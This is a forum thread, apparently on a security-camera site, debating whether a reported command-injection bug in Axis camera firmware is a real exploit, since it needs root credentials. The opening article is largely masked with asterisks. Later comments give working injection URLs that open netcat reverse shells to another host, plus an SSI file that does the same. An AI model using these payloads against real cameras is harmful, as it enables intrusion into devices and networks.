******* ******* *** **** ******** *** Axis ******* (********** **** ************* ****** ******* *********), **** **** * ***** ********* ******** ******** *************.
*******, ** **** ****** **** ******* and ** ** *** ** **** practical ****. ** **** ******, ** explain *** *** ******* *****, *********** ** in * ***** **********, ******* ** other ******** ****** *** ********** *** ****** ******* ** ******.
Summary *******
*** **** ** ***** ** **** to ******* **** *******, ***** ****** ******* the ****** ** *** *******.
***** *** ******* **** ***** ********* of ********* ********, ** ******** *** knows *** **** ******** ****** ***** do **** ******* ***, ***** ** also ********* ** **** *****.
******: ** * ********* *****, *** Axis ******* ****** **** ********* ** easily ******* / ********** **** *********, this ***** ***** **** ****** **** might ** ********* *** ********* ** *** port **** *** *** ** ******* / ********.
*** ******* ****** **** *** **** / ****** *********** ******* ** *** Axis ****** *** *********.
*** *****
*************, ****** *** ********** ********* **** many ****** ***, **** ** *** fixed ** *** ****** **** ****** firmware. ** ****** **, ** ** certainly ** *** ******** ** **** and ***** ******* **** *********** *** problems.
******: **** *** ***** ** ********** Axis ********.
Exploit ************
*** ***** ***** ***** *** ******* in ******:
Other ******** *****
***** ********* **** ******* * *** other ****** **** ******** ****** *** worth ******:
Contrast ** ****** / ****** ****** *******
***** ** *** ****** ********* **** of *** ********** *******, ********* ****** ****** ****** ********* * ***** ****. *** *** difference ** **** *** ****** *** does *** ******* **************, *.*., ** long ** *** *** ******* ** the ****** **** * *******, *** do *** **** ** **** **** password *** *** *** *** **** access. **** ** * ***** ********** and * *********** **** *** *** later.
While it is not as threathening as the Bashis exploit, it still is a real danger and should have been fixed as pointed out in the article.
Still to many camera that i come across have weak/default passwords in them and then this type of problem can get real.
There's no single measure you can take to make your security waterproof but i think it's just good practice to take as many as you can in any given circumstances
if you already know the admin/root password, how dangerous is a exploit that requires admin/root password? Different story if it is exploitable by "non privileged user" to gain root privileges... try the exploit as non privileged user, to gain higher privileges, that would matter more.. otherwise, login with telnet or ssh instead...
As follow up, just tested this "exploit" as non privileged user with one Axis cam of mine, and it doesn't work. To this i do understand that Axis would not recognise this as an "vulnerability" to their products.
However, i do agree to that the fact it's a bug, and should be fixed, who knows... this could be exploited in the future by an file permission mistake from Axis side.
Right now, this so called "exploit" is bullshit... sorry to say, but for me the report it's only noice without substance...
The "exploit" could be compared to "i just hacked my neighbours vehicle, but i needed to steal the car keys before".
It's not total bullsh**.
Here's a scenario that can be exploited TODAY using this bug.
Its true that to use this you must be root. It's also true that if you are root you can enable ssh.
But just because you can enable ssh doesn't mean you can use ssh remotely. Because the firewall probably isn't open for that port, and changing the port for ssh to 80 would kill the video.
So what cameras are at risk?
All Axis devices that have the default root:pass unchanged and have no remote ssh access becsuse of the firewall.
How many is that?
Also, to remind that there is common ground here, as you said in the original discussion, which I agree:
This exploit has no practical use that I can see, as it stands now at least.
The other one on the other hand, is as bad as they get...
I was wrong when I said that it has no practical use, it has at least a small zero-day use.
It's no bashis exploit, but combined with root:pass vulnerability it gives you away around the firewall.
This makes it more incomprehensible why it wasn't plugged already.
The main main thing is.
Your ARE root on the cam.
You CAN do what you want.
Even from the Web GUI.
What's the exploit?
1st
Please tell me, what do you need this "exploit" for if you already know the login/password?
2nd
All Axis cams do force to change the password on first login.
3rd
Yes, if someone put up a cam on Internet without doing anything, you could actually use the so called "exploit", please try shodan and see how many you could access with root/pass.
Regarding the exploit, it's complete bullshit, you don't gain anything - you need to be freaking root to use it.
If you could be "regular user" and gain higher privileges, then i would not disagree.
One thing I would like to dispel is the notion of the "brilliant" self-encapsulated hack as being the sole method of exploit creation.
As often as not, a damaging exploit is really the novel combination of several existing non-critical exploits brought together in a perfect storm to create a critical vulnerability. Like tumblers in a lock falling one by one.
That is why it is essential to fix any unexpected behaviors at once. Because if Axis does not expect them, how can they evaluate the security of the device as a whole?
Although this "exploit may be of modest utility today, it is still unexpected remote command execution, and I see no reason for Axis to let it persist. If not, make it a feature... :)
Of course Axis needs to fix the bug, one day it may be wrong permissions on the the file and the hack could be executed as non root user.
But today, the bug demands to be root to be used.
1st
Please tell me, what do you need this "exploit" for if you already know the login/password?
Because the Axis web interface does not provide a remote shell callback mechanism natively.
2nd
All Axis cams do force to change the password on first login.
Wrong. Older firmware do not. Newer firmware force you to choose a password, many for nostalgic reasons choose root:pass. Because it makes it easier for them. This was a brilliant move on Axis part as it allowed them to tout their security but allowed integrators who didn't like it to effectively not use it. After all what's the difference between login in with root:pass or typing pass:pass the first time.
3rd
Yes, if someone put up a cam on Internet without doing anything, you could actually use the so called "exploit", please try shodan and see how many you could access with root/pass.
I have on numerous occasions, have you really tried?
Finally, I think that this is not a major hole just because you could install a reverse shell as root by knowing the VAPIX API alone and using editfile.cgi etc to change some startup file, reboot or something. But this is a nice and neat way requiring no knowledge of VAPIX, which is what the script kiddies want.
Your characterization of this hack as "Bullsh**" is unfair.
Mr 2
It's a bug, nothing else. and yes, it should be fixed.
In older firmwares you find plenty of bugs, and sometimes you do find something you can exploit without be logged in. Like bashis exploit.
But calling something like this as "exploit" that you already need to be root to execute (i.e. you know login and password for root) to utilise, is wrong "advertising". When you ARE root, you have everything in your hands, and you can do whatever you would like to. Nothing stops you. Not even remote connect back shell. It's up to your imagination.
It's complete nonsense to call this as "hack" or even "vulnerability", it's nothing more then regular "stolen" root account. Yes, there exist a bug, but utilise the bug, you need to be root. Thats the key - root!
IF you was regular user (let's say 'n00b'), login as 'n00b', and gain 'root' privileges with this so called "exploit", i would agree with the report - but as it's now, no.. i do not. It's no exploit nor hack.
Show me your code to get a interactive shell without cutting the video feed when behind a firewall with only port 80 open.
You have root.
what open out then? port 443? or only port 80 in and out?
You know, there is lots of files that you can tamper with, for instance /etc/crontab or any file in /usr/lib/systemd/system/multi-user.target.wants that easily could load a simple netcat connect back shell.
Thats the minor problem, the major problem is to get in, but please give me your Axis cam IP or Linux computers IP with root login and password, I will show you my connect back shell.
Get out is the minor problem.
How about you just modify your "bull****" statement to something along the lines of:
I don't believe that this exploit creates a real danger to Axis cameras in the wild, since it requires root to run in the first place, and therefore someone would be able to achieve the same result thru other methods, even without a simpler remote command execution url.
Nonetheless, I recognize that finding this unexpected behavior is helpful to security at large, as it could be used as part of another more critical exploit in the future if not identified and patched.
Thats the minor problem, the major problem is to get in, but please give me your Axis cam IP....
Ok, camera is a M3006 firmware 6.3x, factory defaulted, credentials set to root:pass. My camera. Port 80 is forwarded.
Say your still game and I'll publish the address... :)
On this M3006, I can confirm that:
http://192.168.1.1/app_license.shtml?app=ORWELLLABS%3Bnc%20192.168.1.2%2031377%20-e%20/bin/sh
does create a remote shell. There may be other ways, but I don't think any are easier or require less knowledge of Axis architecture.
As for the entirely reasonable suggestions of
You know, there is lots of files that you can tamper with, for instance /etc/crontab or any file in /usr/lib/systemd/system/multi-user.target.wants that easily could load a simple netcat connect back shell.
At least on this M3006, there is no cron or crontab, and the /usr filesystem is read only.
Remember now, we have already logged in in the cam as root, so below are no 0-day exploits… (only stupid code)
Maybe your "nc" don’t have the "-e" option, try this instead:
http://192.168.1.1/app_license.shtml?app=;mkfifo%20/tmp/s;nc%20-w%205%20192.168.1.2%2031337%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s
Equivalent could be executed by adding this small piece of code in /usr/html/local.
# cat /usr/html/local/back.shtml
<!--#include virtual="/incl/top_incl.shtml" -->
<!--#exec cmd="mkfifo /tmp/s;nc -w 5 $ip$ $port$ 0</tmp/s|/bin/sh>/tmp/s 2>/tmp/s; rm /tmp/s" -->
<!--#include virtual="/incl/bottom_incl.shtml" -->
Call with:
http://192.168.1.1/local/back.shtml?ip=192.168.1.2&port=31337
Maybe your nc doesn't have the -e option.
Its not my nc, it's Axis' chosen busybox nc make.
Do you find the dummy version of nc (without -l) out there a lot?
The named pipes are nice in a pinch though.
So, the Orwell guy found an easy way to execute a command, without even creating a file. It's just a little thing but why give him such a hard time?
Ok, have a good one!
p.s. have you ever set-up a reverse http using fifo and 4 nc processes?
like in the case when you can only connect out from the camera but wish to browse the web server remotely?
Geez, I feel bad for all these Axis partners who have to disclose all these exploits to their customers and explain why they should risk their networks!
